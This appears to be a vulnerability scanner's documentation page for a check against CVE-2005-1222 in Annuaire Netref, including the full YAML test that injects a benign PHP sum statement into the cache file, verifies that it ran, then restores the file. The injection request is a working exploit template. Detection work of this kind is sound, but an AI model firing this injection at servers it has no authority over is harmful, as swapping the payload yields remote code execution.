Netref — 1 vulnerability check

noctis ships 1 vulnerability check for Netref, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Annuaire Netref cat_for_gen.php PHP code injection into the category cache file

CVECVE-2005-1222
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, tcp_dialogue, match · highest QoD 97
Feedtests/vulnerabilities/netref/CVE-2005-1222.yaml

Tests Annuaire Netref (4.2 and earlier) for the PHP code injection in script/cat_for_gen.php, which writes the unchecked m_for_racine parameter into the cache/cat_for.php file it regenerates. When script/cat_for_gen.php is present, the test reads the current cache file, then regenerates it with ad=1, ad_direct=../ and an m_for_racine value that closes the drop-down and adds a PHP statement printing the sum of two random numbers. It then requests cache/cat_for.php: the computed sum in the reply, which the request itself never contained, confirms that the injected code ran on the server. Finally the cache file is regenerated once more with its original root label, which removes the test code (the label is left empty when the original file could not be read). The web root, /netref and /annuaire are tried.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Parses / computes the next value with a Rhai script
  3. HTTP(S) request GET {{base}}/script/cat_for_gen.php
  4. HTTP(S) request GET {{base}}/script/noctis{{m.tok}}.php
  5. Parses / computes the next value with a Rhai script
  6. Parses / computes the next value with a Rhai script
  7. TCP dialogue: one binary protocol frame
  8. Parses / computes the next value with a Rhai script
  9. HTTP(S) request GET {{base}}/script/cat_for_gen.php?ad=1&ad_direct=../&m_for_racine=%3C%2Foption%3E%3C%2F…
  10. HTTP(S) request GET {{base}}/cache/cat_for.php
  11. Parses / computes the next value with a Rhai script
  12. HTTP(S) request GET {{base}}/script/cat_for_gen.php?ad=1&ad_direct=../&m_for_racine={{label_enc}}
  13. Checks v.where for cat_for → finding QoD 97: Annuaire Netref cat_for_gen.php PHP code injection (CVE-2005-1222)

References:

Feed source — tests/vulnerabilities/netref/CVE-2005-1222.yaml
# Annuaire Netref 4.2 — script/cat_for_gen.php PHP code injection (CVE-2005-1222,
# BID 13275, bugtraq 2005-04-19 "Annuaire Netref v4.2 [ fwrite php ] vulnerability").
# No fixed release is documented; the advisory's workaround is "deny from all" on script/.
#
# cat_for_gen.php regenerates the category drop-down cache without checking its input:
#   if ($ad==1){ $fp=fopen($ad_direct."cache/cat_for.php", "w");
#     $temp="<SELECT NAME='categorie'><OPTION VALUE='0'"; $temp.=">$m_for_racine</OPTION>";
#     fwrite($fp,$temp); ...
# With ad_direct=../ the file written is <netref>/cache/cat_for.php, a .php file served
# (and included by the directory pages) from the web root, so PHP code placed in
# m_for_racine runs on the server.
#
# Detection (for each candidate base: the web root, /netref, /annuaire):
#   1. Gate: GET <base>/script/cat_for_gen.php answers 200 and a random sibling
#      <base>/script/noctis<tok>.php does not (catch-all servers are skipped).
#   2. GET <base>/cache/cat_for.php to read the current root label (restored in 5).
#   3. Real, benign exploitation (QoD 97): ad=1&ad_direct=../&m_for_racine=
#      </option></SELECT><?php echo a+b; ?> — no quote in the payload, so
#      magic_quotes_gpc cannot break it.
#   4. GET <base>/cache/cat_for.php (and the generator's own reply): the computed sum
#      right after </SELECT> proves the injected code ran (the source holds "a+b").
#   5. Cleanup, once the generator accepted the write: the cache is regenerated with
#      the original root label (step 2 reads it as raw bytes, so an ISO-8859-1 label
#      survives; empty when it could not be read), which removes the injected code.
#
# Better than the NASL (pre2008/netref_cat_for_gen.nasl, which writes <?phpinfo();?>
# into the cache file, leaves it there, and greps the generator's reply for
# "PHP Version"): the written file itself is fetched, so the bug is found even when the
# generator prints nothing; the marker is a per-run computed sum instead of a phpinfo
# page; the cache file is restored; Netref's usual sub-directories are tried too.
#
# CVSS: NVD has only a v2 score — 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P).
#
# Ported from OpenVAS/Greenbone NVT pre2008/netref_cat_for_gen.nasl
# (OID 1.3.6.1.4.1.25623.1.0.18358, GPL-2.0-only).
uid: eed1d28b-b59a-4f9c-9c38-130f9248e8d3
name: "Annuaire Netref cat_for_gen.php PHP code injection into the category cache file"
description: |
  Tests Annuaire Netref (4.2 and earlier) for the PHP code injection in
  script/cat_for_gen.php, which writes the unchecked m_for_racine parameter into the
  cache/cat_for.php file it regenerates. When script/cat_for_gen.php is present, the
  test reads the current cache file, then regenerates it with ad=1, ad_direct=../ and an
  m_for_racine value that closes the drop-down and adds a PHP statement printing the sum
  of two random numbers. It then requests cache/cat_for.php: the computed sum in the
  reply, which the request itself never contained, confirms that the injected code ran
  on the server. Finally the cache file is regenerated once more with its original root
  label, which removes the test code (the label is left empty when the original file
  could not be read). The web root, /netref and /annuaire are tried.
cves: [CVE-2005-1222]
cvss: 7.5
severity: high
confidence_base: 0.30
category: rce
tags: [netref, php, code-injection, file-write, rce, intrusive, web-abuse]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2005-1222"
  - "http://marc.info/?l=bugtraq&m=111403947305600&w=2"
  - "http://www.securityfocus.com/bid/13275"
  - "http://www.osvdb.org/15717"
  - "OpenVAS/Greenbone NASL pre2008/netref_cat_for_gen.nasl (GPL-2.0-only)"

steps:
  # Per-run operands and control-file token.
  - id: mint
    action: script
    code: '#{ tok: rand_hex(8), a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
    store_as: m

  - id: mint-sum
    action: script
    code: '(m.a + m.b).to_string()'
    store_as: sum

  # ── Loop group: every step below runs once per candidate Netref base ──
  - id: init-gen
    action: set_var
    var_name: gen
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/netref", "/annuaire"]
      var: base

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: null}

  - id: init-before
    action: set_var
    var_name: before
    var_value: {connected: false, response_hex: null}

  - id: init-exp
    action: set_var
    var_name: exp
    var_value: {status: 0, body: null}

  - id: init-after
    action: set_var
    var_name: after
    var_value: {status: 0, body: null}

  - id: gen-probe
    action: http_request
    method: GET
    path: "{{base}}/script/cat_for_gen.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    store_as: gen

  - id: ctl-probe
    action: http_request
    method: GET
    path: "{{base}}/script/noctis{{m.tok}}.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "gen.status == 200"
    store_as: ctl

  - id: gate
    action: script
    code: 'gen.status == 200 && ctl.status != 200'
    store_as: present

  # Current cache file, read as raw bytes (Netref pages are ISO-8859-1, which a
  # UTF-8 text body would mangle): its root label is restored by the cleanup step.
  - id: before-req
    action: script
    code: 'hexstr("GET " + base + "/cache/cat_for.php HTTP/1.0\r\nHost: " + target_host + "\r\nConnection: close\r\n\r\n")'
    condition: "present == true"
    store_as: before_req

  - id: read-before
    action: tcp_dialogue
    port: "{{port}}"
    read_banner: false
    send_hex: "{{before_req}}"
    timeout_secs: 5
    condition: "present == true"
    store_as: before

  # Percent-encode the raw bytes between <OPTION VALUE='0'> and </OPTION> of a 200
  # reply (empty when the file could not be read).
  - id: restore-label
    action: script
    code: |
      let enc = "";
      let h = before.response_hex;
      if type_of(h) == "string" {
        h = tolower(h);
        let open = hexstr("<OPTION VALUE='0'>");
        let close = hexstr("</OPTION>");
        let hdr_end = stridx(h, "0d0a0d0a");
        let status_ok = hdr_end > 0 && stridx(h.sub_string(0, 32), hexstr(" 200 ")) >= 0;
        let i = stridx(h, open);
        if status_ok && i > hdr_end && i % 2 == 0 {
          let s = i + open.len();
          let e = stridx(h.sub_string(s, h.len() - s), close);
          if e >= 0 && e % 2 == 0 && e <= 400 {
            let j = 0;
            let ok = true;
            while j < e {
              let byte = h.sub_string(s + j, 2);
              if byte == "3c" { ok = false; }
              enc += "%" + byte;
              j += 2;
            }
            if !ok { enc = ""; }
          }
        }
      }
      enc
    store_as: label_enc

  # Benign exploitation: the regenerated cache file prints the sum of a and b.
  - id: exploit
    action: http_request
    method: GET
    path: "{{base}}/script/cat_for_gen.php?ad=1&ad_direct=../&m_for_racine=%3C%2Foption%3E%3C%2FSELECT%3E%3C%3Fphp%20echo%20{{m.a}}%2B{{m.b}}%3B%20%3F%3E"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "present == true"
    store_as: exp

  - id: read-after
    action: http_request
    method: GET
    path: "{{base}}/cache/cat_for.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "present == true"
    store_as: after

  # Executed only when the computed sum follows the injected </SELECT>.
  - id: verify
    action: script
    code: |
      let marker = "</select>" + sum;
      let hit = false;
      let where = "";
      if after.status == 200 && type_of(after.body) == "string" && stridx(tolower(after.body), marker) >= 0 {
        hit = true;
        where = "cache/cat_for.php";
      } else if exp.status == 200 && type_of(exp.body) == "string" && stridx(tolower(exp.body), marker) >= 0 {
        hit = true;
        where = "script/cat_for_gen.php";
      }
      #{ hit: hit, where: where }
    store_as: v

  # Regenerate the cache with the original root label: removes the injected code
  # (and, on a fixed install, the escaped test text). Only after the write was accepted.
  - id: cleanup
    action: http_request
    method: GET
    path: "{{base}}/script/cat_for_gen.php?ad=1&ad_direct=../&m_for_racine={{label_enc}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    condition: "present == true && exp.status == 200"
    store_as: cln

  - id: rce-match
    action: match
    source: v.where
    pattern: "cat_for"
    condition: "v.hit == true"
    on_match:
      stop: true
      finding:
        title: "Annuaire Netref cat_for_gen.php PHP code injection (CVE-2005-1222)"
        confidence_delta: 0.65
        qod: 97
        evidence: "GET {{base}}/script/cat_for_gen.php?ad=1&ad_direct=../&m_for_racine=</option></SELECT><?php echo {{m.a}}+{{m.b}}; ?> wrote PHP code into {{base}}/cache/cat_for.php, and {{base}}/{{v.where}} then returned </SELECT>{{sum}} (the sum computed by the server). The cache file was regenerated afterwards with its original root label."
        remediation: "Netref is unmaintained and no fixed release is documented: remove the application, or deny all web access to its script/ directory (the vendor workaround) and make the cache/ directory unwritable by the web server."

View these feeds on GitHub